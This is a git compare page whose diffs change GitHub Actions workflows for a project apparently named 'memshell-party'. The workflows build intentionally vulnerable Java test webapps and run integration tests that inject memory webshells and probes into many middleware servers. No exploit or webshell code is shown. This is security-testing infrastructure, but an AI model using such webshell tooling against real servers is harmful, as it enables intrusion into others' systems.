Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0d3b56de63 | ||
|
|
995e0184ea | ||
|
|
2a4e82e9e1 | ||
|
|
713d24e336 | ||
|
|
5ddbca566e | ||
|
|
9213b9365e | ||
|
|
96764e2a5a | ||
|
|
5ea851c438 | ||
|
|
5f95748029 | ||
|
|
f9522c1cb1 | ||
|
|
d8fa51f317 | ||
|
|
027987fcf2 | ||
|
|
b40fc59668 | ||
|
|
ca26e37c21 | ||
|
|
3fbf20cc70 | ||
|
|
c045121438 | ||
|
|
f60d4108ad | ||
|
|
fe5760409a | ||
|
|
40632a7308 | ||
|
|
b49bb89025 | ||
|
|
336d0b1f5a | ||
|
|
5ec48e7d41 | ||
|
|
8ba200089a | ||
|
|
e38a91f720 | ||
|
|
60edda0cec | ||
|
|
c5bfd3d92e | ||
|
|
159f501179 | ||
|
|
ff6d1b6f9e | ||
|
|
8402bd9d51 | ||
|
|
7c126d8189 | ||
|
|
03c138206a | ||
|
|
8b1cf078f3 | ||
|
|
3e4c5e5b38 | ||
|
|
b49ad1581f | ||
|
|
bf50918a99 | ||
|
|
be051d3147 | ||
|
|
f780886f08 | ||
|
|
b46959e059 | ||
|
|
3e2d977562 | ||
|
|
b45efd8e1e | ||
|
|
ee9288debd | ||
|
|
1518432fde | ||
|
|
302e8fbb8f | ||
|
|
4955c9d4a2 | ||
|
|
cf492e68ea | ||
|
|
39eab10281 | ||
|
|
ba9c0be2a4 | ||
|
|
23f310ca8a | ||
|
|
9d9d33f612 | ||
|
|
da1a5f70ef | ||
|
|
69e8e20a6a | ||
|
|
a1f32c5bf2 | ||
|
|
6b10b3f56f | ||
|
|
3e3d82218c | ||
|
|
202924aa54 | ||
|
|
054e22bc3d | ||
|
|
fa92930353 | ||
|
|
52437d67be | ||
|
|
117b48a9d0 | ||
|
|
3fe9a932ba | ||
|
|
1772c08f22 | ||
|
|
e44caeba1b | ||
|
|
4f080df85a | ||
|
|
7562469b44 | ||
|
|
359931a881 | ||
|
|
8c20f18c70 | ||
|
|
dace117e73 | ||
|
|
5c0d26ae16 | ||
|
|
8e9d47bbea | ||
|
|
c1f1802182 | ||
|
|
dc7958e123 | ||
|
|
d59bb9d29f | ||
|
|
3e966f8fab | ||
|
|
f940a528f0 | ||
|
|
0b48dd64bd | ||
|
|
bf213ae575 | ||
|
|
c8ede922b9 | ||
|
|
c0a059fbdc | ||
|
|
b4f8e62fc7 | ||
|
|
1c0d65b353 | ||
|
|
f26727e6fc | ||
|
|
2b1388c8eb | ||
|
|
9f7b4276e2 | ||
|
|
b992e5f60e | ||
|
|
de69a63be5 | ||
|
|
de462ae8b0 | ||
|
|
d873dae8f3 | ||
|
|
3e2fb861cd | ||
|
|
cbc71e5a52 | ||
|
|
ad8d2713ad | ||
|
|
b04a34f1ab | ||
|
|
2f325934e1 | ||
|
|
b47e437889 | ||
|
|
d1edb8fbdf | ||
|
|
7f176dd443 | ||
|
|
43c410e653 | ||
|
|
b9efe6dac5 | ||
|
|
930edbc8b0 | ||
|
|
0f473311f9 | ||
|
|
b412e9206d | ||
|
|
d9205aaff7 | ||
|
|
4dda9236ca | ||
|
|
694e60bd23 | ||
|
|
25ffe5bb14 | ||
|
|
e9265b52f5 | ||
|
|
e872e0cd06 | ||
|
|
b6219628ae | ||
|
|
0d1fab8740 | ||
|
|
e9fb20fa07 | ||
|
|
97e365e935 | ||
|
|
75e3ed595a | ||
|
|
ab4ad88d6e | ||
|
|
9abea930b3 | ||
|
|
ab8773b177 | ||
|
|
0de0efef9c | ||
|
|
3d5851f3ae | ||
|
|
9c298a2303 | ||
|
|
b846f67c34 | ||
|
|
1e5f7dd281 | ||
|
|
37832ee768 | ||
|
|
a59282b2a9 | ||
|
|
bf151faa1c | ||
|
|
11c439f6c6 | ||
|
|
a10386457c | ||
|
|
dd9333e473 | ||
|
|
d7a67b3056 | ||
|
|
e41f8347c6 | ||
|
|
47b628ee5b | ||
|
|
970e260b16 | ||
|
|
ebfb9323f8 | ||
|
|
818f42048d | ||
|
|
554719a447 | ||
|
|
42a9c00263 | ||
|
|
b1b44dbc4c | ||
|
|
0c5847b4dd | ||
|
|
ef1a77d11d | ||
|
|
8551c3b18f | ||
|
|
c1631b9401 | ||
|
|
e1a852a301 | ||
|
|
4fd1e4170f | ||
|
|
73f5694cac | ||
|
|
bac3023dfa | ||
|
|
baeb3daa50 | ||
|
|
5d28df0e39 | ||
|
|
b29d83d3b4 | ||
|
|
605379907b | ||
|
|
84c61629ff | ||
|
|
4a207e583a | ||
|
|
afb3d46080 | ||
|
|
102173b924 | ||
|
|
8b8cc7173d | ||
|
|
c43d87eea1 | ||
|
|
11e58495fc | ||
|
|
8491d6f964 | ||
|
|
1cf5f37086 | ||
|
|
cd8111d0d7 | ||
|
|
653665e479 | ||
|
|
79c3e0d929 | ||
|
|
50a60c4c65 | ||
|
|
90c20b5388 | ||
|
|
4652f644e4 | ||
|
|
c21d47140f | ||
|
|
fc3961a6bf | ||
|
|
962264f13e | ||
|
|
75495aee20 | ||
|
|
13a83d510b | ||
|
|
2582a12785 | ||
|
|
05bfa6fd1c | ||
|
|
40e6c55b6d | ||
|
|
bfda586d58 | ||
|
|
f0c88ab914 | ||
|
|
504dde9335 | ||
|
|
e4e86d2c8d | ||
|
|
dc898fd214 | ||
|
|
0ec52dd167 | ||
|
|
fac0748055 | ||
|
|
1926259fab | ||
|
|
bebd374737 | ||
|
|
6b1a569be9 | ||
|
|
bd308fae10 | ||
|
|
05729fc458 | ||
|
|
59fd17355b | ||
|
|
5e8529a0c7 | ||
|
|
f0526eeb28 | ||
|
|
fab623ac4f | ||
|
|
e9a0eb61d9 | ||
|
|
4f86572192 | ||
|
|
2216aafcad | ||
|
|
39b09cecb1 | ||
|
|
9be935694c | ||
|
|
8d68e18a23 | ||
|
|
29207c1b53 | ||
|
|
8c77a4049b | ||
|
|
1cf3c58b7b | ||
|
|
05892d4b8b | ||
|
|
4be54c0ecb | ||
|
|
5a614e3b39 | ||
|
|
34e1e53b67 | ||
|
|
13097cec99 | ||
|
|
b4af77ddb2 | ||
|
|
245ec99839 | ||
|
|
81926b0a78 | ||
|
|
6ccd139444 | ||
|
|
fd1a560aa2 | ||
|
|
55f676553c | ||
|
|
26b4f48e98 | ||
|
|
131222cf29 | ||
|
|
7b390b7773 | ||
|
|
f8696dada5 | ||
|
|
0e0307fb97 | ||
|
|
798e447ab6 | ||
|
|
c495ef46a4 | ||
|
|
69ef9ab230 | ||
|
|
d6ef24b878 | ||
|
|
d06f238e2f | ||
|
|
12d2a191b2 | ||
|
|
86b31b193d | ||
|
|
beb22b3ab1 | ||
|
|
d0acb7712a | ||
|
|
e7c69befe8 | ||
|
|
4134c7233b | ||
|
|
d179ceada7 | ||
|
|
799302348f | ||
|
|
9b849b6e39 | ||
|
|
e7b5430075 | ||
|
|
6942affbc8 | ||
|
|
48a65574aa | ||
|
|
ee1b2db869 | ||
|
|
1879eaab22 | ||
|
|
4ab8ecba13 | ||
|
|
2e5de88f97 | ||
|
|
842200280d | ||
|
|
ab3f7d1043 | ||
|
|
b476c9a542 | ||
|
|
5239b8cb5d | ||
|
|
f88c5d5606 | ||
|
|
b1e3d6aef1 | ||
|
|
8897c4c607 | ||
|
|
92c0d1d8a8 | ||
|
|
c31c3bd958 | ||
|
|
e1f0e7f4bd | ||
|
|
c272a5387d | ||
|
|
44abb44670 | ||
|
|
1120c215d4 | ||
|
|
aa140a8777 | ||
|
|
88af60fea4 | ||
|
|
9b7d244837 | ||
|
|
460465fe35 | ||
|
|
f33972e460 | ||
|
|
da16649e6f | ||
|
|
d7eaf5c068 | ||
|
|
8286dcd4c3 | ||
|
|
ba449cc8e4 | ||
|
|
e844bd5871 | ||
|
|
8f2872e542 | ||
|
|
1c28a5d4ba | ||
|
|
9925d901f5 | ||
|
|
ed50e93183 | ||
|
|
7baa728d0c | ||
|
|
5cc7f7f2e8 | ||
|
|
828556f82b | ||
|
|
134d1f6f4c | ||
|
|
e2272255ca | ||
|
|
3a437512c7 | ||
|
|
2fd2e549ad | ||
|
|
33ce7f3bb0 | ||
|
|
9796cdca97 | ||
|
|
50af147fc9 | ||
|
|
e0385acf8b | ||
|
|
2acafba2f3 | ||
|
|
020d508f7a | ||
|
|
c42969e73e | ||
|
|
6c76a90f03 | ||
|
|
feeb7014fb | ||
|
|
5f7b398ddb | ||
|
|
2b32b741d6 | ||
|
|
2b8e1f5de7 | ||
|
|
a7a5d461fe | ||
|
|
dd727fbe9c |
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
version = args.version
|
version = args.version
|
||||||
|
|
||||||
with open("../../CHANGELOG.md") as f:
|
with open("../../web/content/docs/changelog.mdx") as f:
|
||||||
lines = f.readlines()
|
lines = f.readlines()
|
||||||
for line in lines:
|
for line in lines:
|
||||||
if line.startswith(f"## [{version}]"):
|
if line.startswith(f"## [{version}]"):
|
||||||
|
|||||||
@@ -12,7 +12,10 @@ on:
|
|||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
strategy:
|
||||||
|
matrix:
|
||||||
|
os: [ubuntu-latest, windows-latest]
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -25,6 +28,11 @@ jobs:
|
|||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Setup Node
|
||||||
|
uses: actions/setup-node@v6
|
||||||
|
with:
|
||||||
|
node-version: 22
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
with:
|
with:
|
||||||
@@ -34,10 +42,16 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle (Linux)
|
||||||
run: ./gradlew :boot:bootjar -x test
|
if: matrix.os == 'ubuntu-latest'
|
||||||
|
run: ./gradlew :boot:test :boot:bootjar
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Build Boot with Gradle (Windows)
|
||||||
|
if: matrix.os == 'windows-latest'
|
||||||
|
run: ./gradlew.bat :boot:test :boot:bootjar
|
||||||
|
|
||||||
|
- name: Upload Boot Jar (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
|
|||||||
@@ -0,0 +1,41 @@
|
|||||||
|
name: Docker Build Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- master
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- 'boot/**'
|
||||||
|
- 'examples/**'
|
||||||
|
- 'vul/**'
|
||||||
|
- 'web/**'
|
||||||
|
- '**.md'
|
||||||
|
- '**/*.png'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
docker-build-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
- name: Build Docker image
|
||||||
|
run: |
|
||||||
|
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||||
|
docker images
|
||||||
|
- name: Run Docker container
|
||||||
|
run: |
|
||||||
|
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||||
|
sleep 10
|
||||||
|
- name: Test with curl
|
||||||
|
run: |
|
||||||
|
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
||||||
|
echo "Test successful!"
|
||||||
|
else
|
||||||
|
echo "Test failed!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
name: docker-push
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
path:
|
||||||
|
description: 'Path'
|
||||||
|
required: true
|
||||||
|
default: '/redqueen-memshell-party'
|
||||||
|
tag:
|
||||||
|
description: "Tag"
|
||||||
|
required: true
|
||||||
|
default: "redqueen"
|
||||||
|
jobs:
|
||||||
|
docker-push:
|
||||||
|
name: Docker Push
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Login to Docker Hub
|
||||||
|
uses: docker/login-action@v3
|
||||||
|
with:
|
||||||
|
registry: docker.io
|
||||||
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
|
- name: Set up QEMU
|
||||||
|
uses: docker/setup-qemu-action@v3
|
||||||
|
- name: Set up Docker Buildx
|
||||||
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
|
- name: Build and push RedQueen
|
||||||
|
uses: docker/build-push-action@v6
|
||||||
|
with:
|
||||||
|
context: .
|
||||||
|
platforms: linux/amd64,linux/arm64
|
||||||
|
build-args: |
|
||||||
|
ROUTE_ROOT_PATH=${{ inputs.path }}
|
||||||
|
CONTEXT_PATH=${{ inputs.path }}
|
||||||
|
push: true
|
||||||
|
tags: |
|
||||||
|
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
name: MemShell IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- './github/workflows/memshell-integration-test.yml'
|
||||||
|
- '**/memshell/**'
|
||||||
|
- '**/packer/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
memshell-integration-test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springwebmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "springwebflux"
|
||||||
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
- middleware: "xxljob"
|
||||||
|
depend_tasks: ""
|
||||||
|
- middleware: "struct2"
|
||||||
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
name: Probe IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- '**/probe/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springwebmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "struct2"
|
||||||
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -47,6 +47,11 @@ jobs:
|
|||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Setup Node
|
||||||
|
uses: actions/setup-node@v6
|
||||||
|
with:
|
||||||
|
node-version: 22
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
with:
|
with:
|
||||||
@@ -112,7 +117,7 @@ jobs:
|
|||||||
- name: Build and push RedQueen
|
- name: Build and push RedQueen
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: .
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
build-args: |
|
build-args: |
|
||||||
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
||||||
|
|||||||
@@ -0,0 +1,47 @@
|
|||||||
|
name: Single IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
depend_tasks:
|
||||||
|
description: '前置构建任务,如 :boot:jar :generator:jar'
|
||||||
|
required: false
|
||||||
|
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
||||||
|
type: string
|
||||||
|
test_class:
|
||||||
|
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
||||||
|
required: true
|
||||||
|
type: string
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
integration-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
if: ${{ inputs.depend_tasks != '' }}
|
||||||
|
run: ./gradlew ${{ inputs.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -1,174 +0,0 @@
|
|||||||
name: Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths-ignore:
|
|
||||||
- 'docs/**'
|
|
||||||
- 'boot/**'
|
|
||||||
- 'examples/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
|
||||||
- '**/*.png'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
unit-test:
|
|
||||||
name: UniteTest
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Generator Unit Test with Gradle
|
|
||||||
run: ./gradlew :generator:test
|
|
||||||
|
|
||||||
- name: Boot Unit Test with Gradle
|
|
||||||
run: ./gradlew :boot:test
|
|
||||||
|
|
||||||
docker-build-test:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
if: github.ref == 'refs/heads/master'
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
- name: Build Docker image
|
|
||||||
run: |
|
|
||||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
|
||||||
docker images
|
|
||||||
- name: Run Docker container
|
|
||||||
run: |
|
|
||||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
|
||||||
sleep 10
|
|
||||||
- name: Test with curl
|
|
||||||
run: |
|
|
||||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
|
||||||
echo "Test successful!"
|
|
||||||
else
|
|
||||||
echo "Test failed!"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
memshell-integration-test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
cases:
|
|
||||||
- middleware: "tomcat"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jetty"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "wildfly"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "glassfish"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "resin"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "payara"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "websphere"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "websphere7"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "weblogic"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "springwebmvc"
|
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
|
||||||
- middleware: "springwebflux"
|
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
|
||||||
- middleware: "xxljob"
|
|
||||||
depend_tasks: ""
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
|
||||||
needs: [ unit-test ]
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
|
||||||
|
|
||||||
detection-integration-test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
cases:
|
|
||||||
- middleware: "tomcat"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
|
||||||
